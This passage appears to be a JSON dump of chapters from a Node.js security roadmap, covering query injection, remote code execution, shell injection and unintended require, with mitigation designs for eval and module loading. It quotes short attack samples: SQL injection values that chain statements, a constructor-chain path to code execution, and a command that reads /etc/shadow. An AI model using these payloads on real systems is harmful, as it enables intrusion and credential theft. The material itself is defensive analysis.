https://docs.npmjs.com/getting-started/using-two-factor-authentication\n[getcookies-disclosure]: https://blog.npmjs.org/post/173526807575/reported-malicious-module-getcookies\n[crossenv-typosquat-disclosure]: http://blog.npmjs.org/post/163723642530/crossenv-malware-on-the-npm-registry\n"
  },
  {
    "path": "chapter-1/threat-QUI.md",
    "content": "# Query Injection\n\n[Query injection][] occurs when an attacker causes a query sent to a\ndatabase or other backend to have a [structure][spp] that differs from\nthat the developer intended.\n\n```js\nconnection.query(\n    'SELECT * FROM Table WHERE key=\"' + value + '\"',\n    callback);\n```\n\nIf an attacker controls `value` and can cause it to contain a single\nquote, then they can cause execution of a query with a different structure.\nFor example, if they can cause\n\n```js\nvalue = ' \" OR 1 -- two dashes start a line comment';\n```\n\nthen the query sent is `SELECT * FROM Table WHERE key=\" \" OR 1 -- ...`\nwhich returns more rows than intended possibly [leaking](./threat-EXF.md)\ndata that the requester should not have been able to access, and may\ncause other code that loops over the result set to modify rows other than\nthe ones the system's authors intended.\n\nSome backends allow statement chaining so compromising a statement\nthat seems to only read data:\n\n```js\nvalue = '\"; INSERT INTO Table ...  --'\n```\n\ncan violate system integrity by forging records:\n\n```js\n' SELECT * FROM Table WHERE key=\"' + value + '\" ' ===\n' SELECT * FROM Table WHERE key=\"\"; INSERT INTO Table ... --\" '\n```\n\nor deny service via mass deletes.\n\nQuery injection has a [long and storied history][hall-of-shame].\n\n[Query injection]: http://bobby-tables.com/\n[hall-of-shame]: http://codecurmudgeon.com/wp/sql-injection-hall-of-shame/\n[spp]: https://rawgit.com/mikesamuel/sanitized-jquery-templates/trunk/safetemplate.html#structure_preservation_property\n"
  },
  {
    "path": "chapter-1/threat-RCE.md",
    "content": "# Remote Code Execution\n\nRemote code execution occurs when the application interprets an\nuntrustworthy string as code.  When `x` is a string, `eval(x)`,\n`Function(x)`, and `vm.runIn*Context(x)` all invoke the JavaScript\nengine's parser on `x`.  If an attacker controls `x` then they can run\narbitrary code in the context of the CommonJS module or `vm` context\nthat invoked the parser.\n\nSandboxing can help but widely available sandboxes have\n[known workarounds][denicola-vm-run] though the [frozen realms][]\nproposal aims to change that.\n\nIt is harder to execute remote code in server-side JavaScript.\n`this[x][y] = \"javascript:console.log(1)\"` does not cause code to\nexecute for nearly as many `x` and `y` as in a browser.\n\nThese operators are probably rarely used *explicitly*, but some\noperators that convert strings to code when given a string do\nsomething else when given a `Function` instance.  `setTimeout(x, 0)`\nis safe when `x` is a function, but on the browser it parses a string\ninput as code.\n\n*  [Grepping](../appendix/experiments.md#grep-problems) shows the rate\n   in the top 100 modules and their transitive dependencies by simple\n   pattern matching after filtering out comments and string content.\n   This analysis works on most modules, but fails to distinguish\n   safe uses of `setTimeout` in modules that might run on\n   the client from unsafe.\n*  A [type based analysis](../appendix/experiments.md#jsconf) can\n   distinguish between those two, but the tools we tested don't\n   deal well with mixed JavaScript and TypeScript inputs.\n\nEven if we could reliably identify places where strings are\n*explicitly* converted to code for the bulk of npm modules,\nit is more difficult in JavaScript to statically prove that\ncode does not *implicitly* invoke a parser than in other\ncommon backend languages.\n\n```js\n// Let x be any value not in\n// (null, undefined, Object.create(null)).\nvar x = {},\n// If the attacker can control three strings\n    a = 'constructor',\n    b = 'constructor',\n    s = 'console.log(s)';\n// and trick code into doing two property lookups\n// they control, a call with a string they control,\n// and one more call with any argument\nx[a][b](s)();\n// then they can cause any side-effect achievable\n// solely via objects reachable from the global scope.\n// This includes full access to any exported module APIs,\n// all declarations in the current module, and access\n// to builtin modules like child_process, fs, and net.\n```\n\nFiltering out values of `s` that \"look like JavaScript\" as they reach\nserver-side code will probably not prevent code execution.\n[Yosuke Hasegawa][Yosuke] how to reencode arbitrary JavaScript using\nonly 6 punctuation characters, and that number may\n[fall to 5][Masato].  [\"Web Application Obfuscation\"][obfusc] by\nHeiderich et al. catalogues ways to bypass filtering.\n\n`eval` also allows remote-code execution in Python, PHP, and\nRuby code, but in those languages `eval` operators are harder to\nmention implicitly which means uses are easier to check.\n\nIt is possible to dynamically evaluate strings even in statically\ncompiled languages, for example, [JSR 223][] and\n[`javax.compiler`][dynjava] for Java.  In statically compiled\nlanguages there is no short implicit path to `eval` and it is not\neasier to `eval` an untrusted input than to use an intepreter that is\nisolated from the host environment.\n\nWe consider remote code execution in Node.js lower frequency than for\nclient-side JavaScript without a Content-Security-Policy but higher\nthan for other backend languages.  We consider the severity the same\nas for other backend languages.  The serverity is higher than for\nclient-side JavaScript because backend code often has access to more\nthan one user's data and privileged access to other backends.\n\n[denicola-vm-run]: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0\n[frozen realms]: https://github.com/tc39/proposal-frozen-realms\n[Yosuke]: https://news.ycombinator.com/item?id=4370098\n[Masato]: https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html\n[obfusc]: https://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049\n[JSR 223]: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/api.html\n[dynjava]: https://www.ibm.com/developerworks/library/j-jcomp/index.html\n"
  },
  {
    "path": "chapter-1/threat-SHP.md",
    "content": "# Shell Injection during Production\n\n[Shell injection][] occurs when an attacker-controlled string changes\nthe structure of a command passed to a shell or causes a child process\nto execute an unintended command or with unintended arguments.\nTypically, this is because code or a dependency invokes\n[child\\_process][api/child_process] with an argument partially\ncomposed from untrusted inputs.\n\nShell injection may also occur during development and deployment.  For\nexample, [npm][npm hooks] and [Bower][bower hooks]\n`{pre-,,post-}install` hooks may be subject to shell injection via\nfilenames that contain shell meta-characters in malicious transitive\ndependencies but we classify this as an [MTP][] vulnerability.\n\n[MTP]: threat-MTP.md\n[npm hooks]: https://docs.npmjs.com/misc/scripts\n[bower hooks]: https://bower.io/docs/config/#hooks\n[Shell injection]: http://cwe.mitre.org/data/definitions/77.html\n[api/child_process]: https://nodejs.org/api/child_process.html\n"
  },
  {
    "path": "chapter-1/threat-UIR.md",
    "content": "# Unintended Require\n\nIf an attacker controls the `x` in `require(x)` then they can cause\ncode to load that was not intended to run on the server.\n\nOur high-level, informal security argument for web applications looks\nlike:\n\n1.  All code producing content for, and loaded into *example.com*\n    is written or vetted by developers employed by *example.com*.\n2.  Those developers have the tools and support to do a good job, and\n    organizational measures filter out those unwilling or unable to\n    do a good job.\n3.  Browsers enforce the same origin policy, so *example.com*'s code\n    can make sure all access by third parties to data held on behalf\n    of end users goes through *example.com*'s servers where\n    authorization checks happen.\n4.  Therefore, end users can make informed decisions about the degree\n    of trust they extend to *example.com*.\n\nEven if the first two premises are true, but production servers load\ncode that wasn't intended to run in production, then the conclusion\ndoes not follow.  Developers do not vet test code the same way they\ndo production code and ought not have to.\n\nThis vulnerability may be novel to CommonJS-based module linking\n(though we are not the first to report it ([details][prior art])) so we\ndiscuss it in more depth than other classes of vulnerability.  Our\nfrequency and severity guesstimates have a high level of uncertainty.\n\n\n## Dynamic `require()` can load non-production code\n\n`require` only loads from the file-system under normal configurations\neven though [CommonJS][modules spec] leaves \"unspecified\nwhether modules are stored with a database, file system, or factory\nfunctions, or are interchangeable with link libraries.\"\n\nEven though, as-shipped, `require` only loads from the file-system, a\ncommon practice of copying `node_modules` to the server makes\nunintended require a more severe problem than one might expect.  Test\ncode often defines mini APIs that intentionally disable or circumvent\nproduction checks, so causing test code to load in production can make\nit much easier to escalate privileges or turn a limited code execution\nvulnerability into an arbitrary code execution vulnerabilities.\n\n\n## Availability of non-production code in `node_modules`\n\nThere are many modules `$m` such that `npm install \"$m\"` places test\nor example files under `node_modules/$m`.\n\n[Experiments](../appendix/experiments.md#test_code) show that, of the\ntop 108 most commonly used modules, 50 (46.30%) include test or\nexample code.  Some of these modules, like `mocha`, are most\noften loaded as dev dependencies, but `npm install --only=prod`\nwill still produce a `node_modules` directory that has test and\nexample code for most projects.\n\n\n## Non-production code differs from production code.\n\nWe need to keep test code from loading in production.\n\nGood developers do and should be able to do things in test code that\nwould be terrible ideas in production code.  It is not uncommon to\nfind test code that:\n\n-  changes global configuration so that they can run tests under\n   multiple different configurations.\n-  defines methods that intentionally break abstractions so they\n   can test how gracefully production code deals with marginal inputs.\n-  parses test cases specified in strings and pass parts onto powerful\n   reflective operators and `eval`-like operators.\n-  `require`s modules specified in test case strings so they can\n   run test cases in the context of plugins.\n-  breaks private/public API distinctions to better interrogate\n   internals.\n-  disables security checks so they can test how gracefully\n   a subcomponent handles dodgy inputs.\n-  calls directly into lower-level APIs that assume that higher\n   layers checked inputs and enforced access controls.\n-  includes in output sensitive internal state (like PRNG seeds) to\n   aid a developer in reproducing or tracking down the root cause of\n   a test failure.\n-  logs or include in output information that would be sensitive\n   if the code connected to real user data instead of a test database.\n-  resets PRNG seeds to fixed values to make it easier to reproduce\n   test failures.\n-  adds additional \"God mode\" request handlers that allow a developer\n   to interactively debug a test server.\n\nThese are not security problems when test environments neither access\nreal user data nor receive untrusted inputs.\n\n## Unintended Require can activate non-production code\n\nThe primary vector for this vulnerability is dynamic code loading:\ncalling `require(...)` with an argument other than a literal string.\n\nTo assess the severity of this issue, we [examined](../appendix/experiments.md)\nthe 108 most popular npm modules.\n\n34 of the top 108 most popular npm modules (30%) call `require(...)`\nwithout a literal string argument or have a non-test dependency that\ndoes.  This is after imperfect heuristics to filter out non-production\ncode.  If we assume, conservatively, that uses of `require` that are\nnot immediate calls are dynamic load vectors, then the proportion\nrises to 50%.  See [appendix](../appendix/experiments.md#dynamic_load).\n\nBelow are the results of a manual human review of dynamic loads in\npopular npm modules.  There seem to be few clear vulnerabilities among\nthe top 108 modules, but the kind of reasoning required to check this\nis not automatable; note the use of phrases like \"developers probably\nwon't\" and \"the module is typically used to\".\n\nDetermining which dynamic loads are safe among the long tail of less\nwidely used modules would be difficult.\n\n----\n\nSome dynamic loads are safe.  Jade, a deprecated version of PugJS, does\n\n```js\nfunction getMarkdownImplementation() {\n  var implementations = ['marked', 'supermarked',\n                         'markdown-js', 'markdown'];\n  while (implementations.length) {\n    try {\n      require(implementations[0]);\n```\n\nThis is not vulnerable.  It tries to satisfy a dependency by\niteratively loading alternatives until it finds one that is available.\n\nBabel-core v6's file transformation module ([code][babel-core dyn load])\nloads plugins thus:\n\n```js\nvar parser = (0, _resolve2.default)(parserOpts.parser, dirname);\nif (parser) {\n  parseCode = require(parser).parse;\n```\n\nThis looks in an options object for a module identifier.  It's\nunlikely that this particular code in babel is exploitable since\ndevelopers probably won't let untrusted inputs specify parser options.\n\nThe popular colors module ([code][colors dyn load]) treats the argument\nto `setTheme` as a module identifier.\n\n```js\ncolors.setTheme = function (theme) {\n  if (typeof theme === 'string') {\n    try {\n      colors.themes[theme] = require(theme);\n```\n\nThis is unlikely to be a problem since the module is typically used to\ncolorize console output.  HTTP response handling code will probably\nnot load `colors` so an untrusted input will probably not reach\n`colors.setTheme`.\nIf an attacker can control the argument to `setTheme` then they can\nload an arbitrary JavaScript source file or C++ addon.\n\nThe popular browserlist module ([code][browserlist dyn load]) takes\npart of a query string and treats it as a module name:\n\n```js\n  {\n    regexp: /^extends (.+)$/i,\n    select: function (context, name) {\n      if (!context.dangerousExtend) checkExtend(name)\n      // eslint-disable-next-line security/detect-non-literal-require\n      var queries = require(name)\n```\n\nHopefully browser list queries are not specified by untrusted inputs, but\nif they are, an attacker can load arbitrary available source files since\n`/(.+)$/` will match any module identifier.\n\nThe popular express framework loads file-extension-specific code\nas needed.  If express views are lazily initialized based on a portion\nof the request path without first checking that the path should have a\nview associated, then the following runs ([code][express dyn load]):\n\n```js\nif (!opts.engines[this.ext]) {\n  // load engine\n  var mod = this.ext.substr(1)\n  debug('require \"%s\"', mod)\n\n  // default engine export\n  var fn = require(mod).__express\n```\n\nThis would seem to allow loading top-level modules by requesting a\nview name like `foo.toplevelmodule`, though not local source files\nwhose identifiers must contain `.` and `/`.  Loading top-level modules\ndoes not, by itself, allow loading non-production code, so this is\nprobably not vulnerable to this attack.  It may be possible to use a\npath like `/base.\\foo\\bar` to cause `mod = \"\\\\foo\\\\bar\"` which may\nallow arbitrary source files on Windows, but it would only allow\nloading the module for initialization side effects unless it\ncoincidentally provides significant abusable authority under\n`exports.__express`.\n\n----\n\nThis analysis suggests that the potential for exploiting unintended\nrequire is low in projects that only use the 100 most popular modules,\nbut the number and variety of dynamic `require()` calls in the top 108\nmodules suggests potential for exploitable cases in the top 1000\nmodules, and we know of no way to automatically vet modules for UIR\nvulnerabilities.\n\n## Unintended require can leak information\n\n[Fernando Arnaboldi][diff fuzz] showed that unintended requires can\nleak sensitive information if attackers have access to error messages.\n\n> ```sh\n> # node -e\n> \"console.log(require('/etc/shadow'))\"\n> ```\n>\n> ...\n>\n> The previous example exposes the first line of\n> /etc/shadow, which contains the encrypted root password.\n\nSee also [exfiltration][EXF].\n\n\n[babel-core dyn load]: https://github.com/babel/babel/blob/cb8c4172ef740aa562f0873d602d800c55e80c6d/packages/babel-core/src/transformation/file/index.js#L421-L424\n[colors dyn load]: https://github.com/Marak/colors.js/blob/9f3ace44700b8e705cb15be4767845c311b3ae11/lib/colors.js#L135-L138\n[browserlist dyn load]: https://github.com/ai/browserslist/blob/3e7ed2431d781ce0ff7eade1e2b24780c592b50e/index.js#L776-L780\n[express dyn load]: https://github.com/expressjs/express/blob/351396f971280ab79faddcf9782ea50f4e88358d/lib/view.js#L81\n[prior art]: https://github.com/nodesecurity/eslint-plugin-security/blob/master/README.md#detect-non-literal-require\n[diff fuzz]: https://www.blackhat.com/docs/eu-17/materials/eu-17-Arnaboldi-Exposing-Hidden-Exploitable-Behaviors-In-Programming-Languages-Using-Differential-Fuzzing-wp.pdf\n[EXF]: threat-EXF.md\n[modules spec]: http://wiki.commonjs.org/wiki/Modules/1.1\n"
  },
  {
    "path": "chapter-1/threats.md",
    "content": "# Threat environment\n\nThe threat environment for Node.js is similar to that for other runtimes that\nare primarily used for microservices and web frontends, but there are some\nNode.js specific concerns.\n\nWe define both kinds of threats in this section.  A reader familiar with\nweb-application security can skip all but this page and the discussion\nof [*unintended require*][UIR] without missing much, but may find it\nhelpful to refer back to the table below when reading later chapters.\n\n## Server vs Client-side JavaScript\n\nBefore we discuss the threat environment, it's worth noting that the threat\nenvironment for server-side JavaScript is quite different from that for\nclient-side JavaScript.  For example,\n\n* Client-side JavaScript runs in the context of the\n  [same-origin policy][] possibly with a\n  [Content-Security-Policy][CSP] which governs which code can load.\n  Server-side JavaScript **code loading** is typically only\n  constrained by the files on the server, and the values that can\n  reach `require(...)`, `eval(...)` and similar operators.\n* Client-side JavaScript typically only has access to data that the\n  human using the browser should have access to.  On the server,\n  applications are responsible for **data [compartmentalization][]**,\n  and server-side JavaScript often has privileged access to storage\n  systems and other backends.\n* **File-system access** by the client typically either requires human\n  interaction\n  (`<input type=file>`, `Content-disposition:attachment`), or can only access\n  a directory dedicated to third-party content (browser cache, local storage)\n  and which is not usually on a list like `$PATH`.\n  On the server, the Node runtime process's privileges determine\n  [file-system access][nodejs/fs].\n* Client-side JavaScript has no concept of a **shell** that converts\n  strings into commands that runs outside the JavaScript engine.\n  Server-side JavaScript can spawn\n  [child processes][nodejs/child_process] that operate on data\n  received over the network, and on data that is accessible to the\n  Node runtime process.\n* **Network messages** sent by server-side JavaScript originate inside\n  the server's LAN, but those sent by client-side JavaScript typically do not.\n* **Shared memory concurrency** in client-side JavaScript happens via\n  well-understood APIs like `SharedArrayBuffer`.  Experimental modules\n  ([code][threads-a-gogo]) and a [workers proposal][]\n  allow server-side JavaScript to fork threads; it is\n  unclear how widespread these are in production or how\n  [susceptible][thread corner cases] these are to memory corruption\n  or exploitable race conditions.\n* Client-side, the browser halts all scripts in a document when a\n  single event loop cycle **runs too long**.\n  Node.js has few ways to manage runaway computations on the server.\n\nThe threat environment for server-side JavaScript is much closer to\nthat for any other server-side framework than JavaScript in the\nbrowser.\n\n## Classes of Threats {#threat_table}\n\nThe table below lists broad classes of vulnerabilities, and for each,\na short identifier by which we refer to the class later in this\ndocument.  This list is not meant to be comprehensive, but we expect\nthat a thorough security assessment would touch on most of these and\nwould have low confidence in an assessment that skips many.\n\nThe frequency and severity of vulnerabilities are guesstimates since\nwe have little hard data on the frequency of these in Node.js\napplications, so have extrapolated from similar systems.  For example,\nsee discussion about frequency in [buffer overflow][BOF].\n\nFor each, relevant mitigation strategies appear in the mitigations\ncolumns, and link to the discussion.\n\n| Shorthand | Description                                                                           | Frequency | Severity | Mitigations                 |\n| --------- | ------------------------------------------------------------------------------------- | --------- | -------- | --------------------------- |\n| [0DY][]   | Zero-day.  Attackers exploit a vulnerability before a fix is available.               | Low-Med   | Med-High | [cdeps][m-cd] [fail][m-fa]  |\n| [BOF][]   | Buffer overflow.                                                                      | Low       | High     | [ovrsi][m-os]               |\n| [CRY][]   | Misuse of crypto leads to poor access-control decisions or data leaks.                | Medium    | Medium   | [ovrsi][m-os]               |\n| [DEX][]   | Poor developer experience slows or prevents release of features.                      | ?         | ?        | [dynam][m-dy] [ovrsi][m-os] |\n| [DOS][]   | Denial of service                                                                     | Medium    | Low-Med  | TBD                         |\n| [EXF][]   | Exfiltration of data, e.g. by exploiting reflection to serialize more than intended.  | Med-High  | Low-Med  | [ovrsi][m-os]               |\n| [LQC][]   | Using low quality dependencies leads to exploit                                       | Medium    | Low-Med  | [kdeps][m-kd] [ovrsi][m-os] |\n| [MTP][]   | Theft of commit rights or MITM causes `npm install` to fetch malicious code.          | Low       | Med-High | [kdeps][m-kd] [cdeps][m-cd] |\n| [QUI][]   | Query injection on a production machine.                                              | Medium    | Med-High | [ovrsi][m-os] [qlang][m-ql] |\n| [RCE][]   | Remote code execution, e.g. via `eval`                                                | Med-High  | High     | [dynam][m-dy] [ovrsi][m-os] |\n| [SHP][]   | Shell injection on a production machine.                                              | Low       | High     | [ovrsi][m-os] [cproc][m-cp] |\n| [UIR][]   | `require(untrustworthyInput)` loads code not intended for production.                 | Low       | Low-High | [dynam][m-dy]               |\n\n\n## Meltdown and Spectre\n\nAs of this writing, the security community is trying to digest\nthe implications of *Meltdown* and *Spectre*.  The\n[Node.js blog][Meltdown Spectre Impact] addresses them from a\nNode.js perspective, so we do not comment in depth.\n\nIt is worth noting though that those vulnerabilities lead to\nbreaches of *confidentiality*.  While confidentiality violations\nare serious, the suggestions that follow use design principles\nthat prevent a violation of confidentiality from causing a\nviolation of *integrity*.  Specifically:\n\n*  Knowing a whitelist of production source hashes does not\n   allow an attacker to cause a non-production source to load.\n*  Our runtime `eval` mitigation relies on JavaScript reference\n   equality, not knowledge of a secret.\n\n\n[same-origin policy]: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy\n[CSP]: https://developers.google.com/web/fundamentals/security/csp/\n[compartmentalization]: https://cwe.mitre.org/data/definitions/653.html\n[nodejs/fs]: https://nodejs.org/api/fs.html\n[nodejs/child_process]: https://nodejs.org/api/child_process.html\n[threads-a-gogo]: https://github.com/xk/node-threads-a-gogo/blob/74005641d53b0d85e8d75e2506eddbded15f5112/src/threads_a_gogo.cc#L1387\n[workers proposal]: https://github.com/nodejs/worker/issues/2\n[thread corner cases]: https://github.com/nodejs/worker/issues/4#issuecomment-306090967\n[Query Injection]: https://cwe.mitre.org/data/definitions/89.html\n[0DY]: threat-0DY.md\n[BOF]: threat-BOF.md\n[CRY]: threat-CRY.md\n[DEX]: threat-DEX.md\n[DOS]: threat-DOS.md\n[EXF]: threat-EXF.md\n[LQC]: threat-LQC.md\n[MTP]: threat-MTP.md\n[QUI]: threat-QUI.md\n[RCE]: threat-RCE.md\n[SHP]: threat-SHP.md\n[UIR]: threat-UIR.md\n[m-dy]: ../chapter-2/dynamism.md\n[m-kd]: ../chapter-3/knowing_dependencies.md\n[m-cd]: ../chapter-4/close_dependencies.md\n[m-os]: ../chapter-5/oversight.md\n[m-fa]: ../chapter-6/failing.md\n[m-cp]: ../chapter-7/child-processes.md\n[m-ql]: ../chapter-7/query-langs.md\n[Meltdown Spectre Impact]: https://nodejs.org/en/blog/vulnerability/jan-2018-spectre-meltdown/\n"
  },
  {
    "path": "chapter-2/bounded-eval.md",
    "content": "# Dynamically bounding `eval`\n\nIf we could provide an API that was available statically, but not dynamically\nwe could double-check uses of `eval` operators.\n\n```js\n// API for allowing some eval\nvar prettyPlease = require('prettyPlease');\n// Carefully reviewed JavaScript generating code\nvar codeGenerator = require('codeGenerator');\n\nlet compile;\n\nprettyPlease.mayI(\n    module,\n    (evalPermission) => {\n      compile = function (source) {\n        const js = codeGenerator.generateCode(source);\n        return prettyPlease.letMeEval(\n            evalPermission,\n            js,\n            () => ((0, eval)(js)));\n      };\n    });\n\nexports.compile = compile;\n```\n\nThe `prettyPlease` module cannot be pure JavaScript since only the\nC++ linker can take advantage of *CodeGeneration* callbacks\n([code][CodeGeneration callbacks]) the way CSP does\n([code][CSP callback]) on the client, but the definition would be\nroughly:\n\n```js\n// prettyPlease module\n(() => {\n  const _PERMISSIVE_MODE = 0;  // Default\n  const _STRICT_MODE = 1;\n  const _REPORT_ONLY_MODE = 2;\n\n  const _MODE = /* From command line arguments */;\n  const _WHITELIST = new Set(/* From command line arguments */);\n\n  const _VALID_PERMISSIONS = new WeakSet();\n  const _EVALABLE_SOURCES = new Map();\n\n  if (_MODE !== _PERMISSIVE_MODE) {\n    // Pseudocode: the code-generation callback installed when the\n    // JavaScript engine is initialized.\n    function codeGenerationCheckCallback(context, source) {\n      // source must be a v8::Local<v8::string> or ChakraCore equivalent\n      // so no risk of polymorphing\n      if (_EVALABLE_SOURCES.has(source)) {\n        return true;\n      }\n      console.warn(...);\n      return _MODE == _REPORT_ONLY_MODE;\n    }\n  }\n\n  // requestor -- the `module` value in the scope of the code requesting\n  //      permissions.\n  // callback -- called with the generated permission whether granted or\n  //      not.  This puts the permission in a parameter name making it\n  //      much less likely that an attacker who controls a key to obj[key]\n  //      can steal it.\n  module.mayI = function (requestor, callback) {\n    const id = String(requestor.id);\n    const filename = String(requestor.filename);\n    const permission = Object.create(null);  // Token used for identity\n    // TODO: Needs privileged access to real module cache so a module\n    // can't masquerade as another by mutating the module cache.\n    if (_MODE !== _PERMISSIVE_MODE\n        && requestor === require.cache[filename]\n        && _WHITELIST.has(id)) {\n      _VALID_PERMISSIONS.add(permission);\n      // Typical usage is to request permission once during module load.\n      // Removing from whitelist prevents later bogus requests after\n      // the module is exposed to untrusted inputs.\n      _WHITELIST.delete(id);\n    }\n    return callback(permission);\n  };\n\n  // permission -- a value received via mayI\n  // sourceToEval -- code to eval.  The code generation callback will\n  //                 expect this exact string as its source.\n  // codeThatEvals -- a callback that will be called in a scope that\n  //                  allows eval of sourceToEval.\n  module.letMeEval = function (permission, sourceToEval, codeThatEvals) {\n    sourceToEval = String(sourceToEval);\n    if (_MODE === _PERMISSIVE_MODE) {\n      return codeThatEvals();\n    }\n\n    if (!_VALID_PERMISSIONS.has(permission)) {\n      console.warn(...);\n      if (_MODE !== _REPORT_ONLY_MODE) {\n        return codeThatEvals();\n      }\n    }\n\n    const countBefore = _EVALABLE_SOURCES.get(sourceToEval) || 0;\n    _EVALABLE_SOURCES.set(sourceToEval, countBefore + 1);\n    try {\n      return codeThatEvals();\n    } finally {\n      if (countBefore) {\n        _EVALABLE_SOURCES.set(sourceToEval, countBefore);\n      } else {\n        _EVALABLE_SOURCES.delete(sourceToEval);\n      }\n    }\n  };\n})();\n```\n\nand the `eval` operators would check that their argument is in the global\nset.\n\nImplicit access to `eval` is possible because reflective operators can\nreach `eval`.  As long as we can prevent reflective access to\n`evalPermissions` we can constrain what can be `eval`ed.  If\n`evalPermission` is a function parameter, then only `arguments`\naliases it, so functions that do not mention the special name\n`arguments` may safely receive one.  Most functions do not mention\n`arguments`.  Before whitelisting a module, a reviewer would be wise\nto check for any use of `arguments`, and for any escape of permissions\nor `module`.\n\n`evalPermission` is an opaque token &mdash; only its reference identity\nis significant, so we can check membership in a `WeakSet` without\nrisk of forgery.\n\nThis requires API changes to existing modules that dynamically use\n`eval`, but the changes should be additive and straightforward.\n\nIt also allows project teams and security specialists to decide on\na case-by-case basis, which modules really need dynamic `eval`.\n\nAs with synthetic modules, frozen realms may provide a way to further\nrestrict what dynamically loaded code can do.  If you're trying to\ndecide whether to trust a module that dynamically loads code, you have\nmore ways to justifiably conclude that it's safe if the module loads\ninto a sandbox restricts to a limited frozen API.\n\n[CodeGeneration callbacks]: https://cs.chromium.org/chromium/src/third_party/WebKit/Source/bindings/core/v8/V8Initializer.cpp?rcl=ed08e77a52d977fdb8f4c2a0b27e3d5a73019a57&l=626\n[CSP callback]: https://cs.chromium.org/chromium/src/third_party/WebKit/Source/bindings/core/v8/V8Initializer.cpp?rcl=ed08e77a52d977fdb8f4c2a0b27e3d5a73019a57&l=352\n"
  },
  {
    "path": "chapter-2/bundling.md",
    "content": "# Dynamic Bundling\n\nConsider a simple Node application:\n\n```js\n// index.js\n// Example that uses various require(...) use cases.\n\nlet staticLoad = require('./lib/static');\nfunction dynamicLoad(f, x) {\n  return f('./lib/' + x);\n}\ndynamicLoad(require, Math.random() < 2 ? 'dynamic' : 'bogus');\nexports.lazyLoad = () => require('./lib/lazy');\n\n// Fallback to alternatives\nrequire(['./lib/opt1', './lib/opt2'].find(\n    (name) => {\n      try {\n        require.resolve(name);\n        return true;\n      } catch (_) {\n        return false;\n      }\n    }));\n```\n\nwith some unit tests:\n\n```js\n// test/test.js\n\nvar expect = require(\"chai\").expect;\nvar app = require(\"../index\");\n\ndescribe(\"My TestSuite\", () => {\n  describe(\"A test\", () => {\n    it(\"A unittest\", () => {\n      // Exercise the API\n      app.lazyLoad();\n    });\n  });\n});\n```\n\nWe hack `updateChildren`, which gets called by `Module._load` for new\nmodules and when a module requires a cached module, to dump information\nabout loads:\n\n```diff\ndiff --git a/lib/module.js b/lib/module.js\nindex cc8d5097bb..945ab8a4a8 100644\n--- a/lib/module.js\n+++ b/lib/module.js\n@@ -59,8 +59,18 @@ stat.cache = null;\n\n function updateChildren(parent, child, scan) {\n   var children = parent && parent.children;\n-  if (children && !(scan && children.includes(child)))\n+  if (children && !(scan && children.includes(child))) {\n+    if (parent.filename && child.id) {\n+      // HACK: rather than require('fs') to write a file out, we\n+      // log to the console.\n+      // We assume the prefix will be removed and the result wrapped in\n+      // a DOT digraph.\n+      console.log(\n+          'REQUIRE_LOG_DOT:    ' + JSON.stringify(parent.filename)\n+          + ' -> ' + JSON.stringify(child.id) + ';');\n+    }\n     children.push(child);\n+  }\n }\n```\n\nRunning the tests and extracting the graph ([code][extract-script])\ngives us a rather [hairy dependency graph](example/graphs/full.svg):\n\n<img title=\"Files loaded by `npm test`\" src=\"example/graphs/full.svg\" width=800 height=100>\n\nWe add an edge from `\"./package.json\"` to the module's main file.\nThen we filter edges ([code][graph-filter]) to include only those\nreachable from `\"./package.json\"`.  This lets us distinguish files\nloaded by the test runner and tests from those loaded after control\nhas entered an API in a production file.\n\nThe resulting graph is much simpler:\n\n![Production Source Files](example/graphs/filtered.svg)\n\nNote that the production file list includes dynamically and lazily\nloaded files.  It does include `./lib/opt2.js` but not `./lib/opt1.js`.\nThe former file does not exist, so the loop which picks the first\navailable alternative tries and finds the latter.\n\nOur production source list should include all the files we need\nin production if\n\n*  The unit tests `require` the main file\n*  The unit tests have enough coverage to load all modules required\n   in production via APIs defined in the main file or in APIs\n   transitively loaded from there.\n\nIt is definitely possible to miss some files.  If the unit test did\nnot call `app.lazyLoad` then there would be no edge to\n`./lib/lazy.js`.  To address this, developers can\n\n*  Expand test coverage to exercise code paths that load the\n   missing source files.\n*  Or add an explicit whitelist like\n   ```js\n   // production-source-whitelist.js\n   require('./index.js');\n   require('./lib/lazy.js');\n   ```\n   and explicitly pass this as the main file to the filter\n   instead of defaulting to the one specified in `package.json`.\n\nDynamic analysis is not perfect, but a missing source file is\nreadily apparent, so this replaces\n\n*  hard-to-detect bugs with potentially severe security consequences,\n\nwith\n\n*  easy-to-detect bugs with negligible security consequences.\n\n[extract-script]: https://github.com/google/node-sec-roadmap/blob/master/chapter-2/example/make_dep_graph.sh\n[graph-filter]: https://github.com/google/node-sec-roadmap/blob/6130b76446ff4efbb276d8128c12e41ea2fffbc9/chapter-2/example/make_dep_graph.sh#L39-L73\n"
  },
  {
    "path": "chapter-2/dynamism.md",
    "content": "# Dynamism when you need it\n\n## Background\n\nNode.js code is composed of CommonJS modules that are linked together\nby the builtin `require` function, or [`import`][import-js] statements\n(used by [TypeScript][import-ts]) that typically transpile to\n`require` (modulo [experimental features][esm]).\n\n`require` itself calls `Module._load` ([code][Module._load]) to\nresolve and load code.  [\"The Node.js Way\"][FKS] explains this flow\nwell.\n\nUnlike `import`, `require` is dynamic: a runtime value can specify the\nname of a module to load.  (The EcmaScript committee is considering a\n[dynamic `import` operator][import-op-strawman], but we have\nnot included that in this analysis.)\n\n\nThis dynamism is powerful and flexible and enables varied use cases\nlike the following:\n\n*   Lazy loading.  Waiting to load a dependency until it is definitely needed.\n    ```js\n    const infrequentlyUsedAPI = (function () {\n      const dependency = require('dependency');\n      return function infrequentlyUsedAPI() {\n        // Use dependency\n      };\n    }());\n    ```\n*   Loading plugins based on a configuration object.\n    ```js\n    function Service(config) {\n      (config.plugins || []).forEach(\n          (pluginName) => {\n            require(pluginName).initPlugin(this);\n          });\n    }\n    ```\n*   Falling back to an alternate service provider if the first choice\n    isn't available:\n    ```js\n    const KNOWN_SERVICE_PROVIDERS = ['foo-widget', 'bar-widget'];\n    const serviceProviderName = KNOWN_SERVICE_PROVIDERS.find(\n       (name) => {\n         try {\n           require.resolve(name);\n           return true;\n         } catch (_) {\n           return false;\n         }\n       });\n    const serviceProvider = require(serviceProviderName);\n    ```\n*   Taking advantage of an optional dependency when it is available.\n    ```js\n    let optionalDependency = null;\n    try {\n      optionalDependency = require('optionalDependency');\n    